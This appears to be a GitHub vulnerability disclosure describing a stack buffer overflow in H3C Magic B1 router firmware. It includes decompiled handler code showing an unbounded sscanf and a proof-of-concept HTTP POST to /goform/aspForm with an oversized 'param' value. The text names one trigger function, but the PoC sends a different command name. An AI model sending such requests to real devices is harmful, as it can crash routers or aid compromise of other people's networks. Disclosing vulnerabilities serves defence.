K4ptor / **H3C-routers-vulnerability** Public

Code Issues Pull requests Actions Projects Security and quality Insights

main 1 Branch 0 Tags Go to file Go to file Code

K4ptor Update README.md 75f1512 · 3 weeks ago

img	Rename image-20250414183019345.png t...	3 weeks ago
README.md	Update README.md	3 weeks ago

README

Information

Vendor of the products: New H3C Technologies Co., Ltd.

Vendor's website: 新华三 - 融绘数字未来，共享美好生活

Affected products: Magic B1

Affected firmware version: Magic B1<=100R004

Firmware download address: download

Overview

H3C routers have been found to have a buffer overflow vulnerability. Magic B1model have a serious buffer overflow vulnerability. This vulnerability can cause a buffer overflow by routing /goform/aspForm and correctly controlling the param field, resulting in a denial of service attack or even remote code execution. The vulnerability is specifically triggered by SetAPWifiorLedInfoById.

Vulnerability details

Here is the entry of the request function

```
                .word sub_44D2E8
                .word aSetapwifiorled    # "SetAPWifiorLedInfoById"
                .word sub_44DE10
                .word aSetmobileallap    # "SetMobileAllAPRadio"
                .word sub_44D604
word 606940:    .half 1                  # DATA XREF: sub_42E9A4+120↑r
```

There is no length limit when copying the format, which leads to buffer overflow.

```
int v15; // [sp+1Ch] [-98h]
int v16; // [sp+28h] [-8Ch] BYREF
_BYTE v17[64]; // [sp+2Ch] [-88h] BYREF
_BYTE v18[72]; // [sp+6Ch] [-48h] BYREF

memset(v18, 0, 64);
v2 = -2;
memset(v17, 0, sizeof(v17));
Var = websGetVar(a1, "param", "");
Var_1 = Var;
if ( Var )
{
  sscanf(Var, "%[^;]", v18);
  v5 = Var_1 + strlen(v18) + 1;
  v6 = atoi(v18);
```

POC

```
POST /goform/aspForm HTTP/1.1
Host: 192.168.124.1
Content-Length: 239
Cache-Control: max-age=0
Origin: http://192.168.124.1
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.7
Referer: http://192.168.124.1/mobile_access_net.asp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: USERLOGINIDFLAG=; LOGIN_PSD_REM_FLAG=
Connection: close

CMD=SetMobileAPInfoById&param=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

Releases

No releases published

Packages

No packages published

Contributors 1

K4ptor K4ptor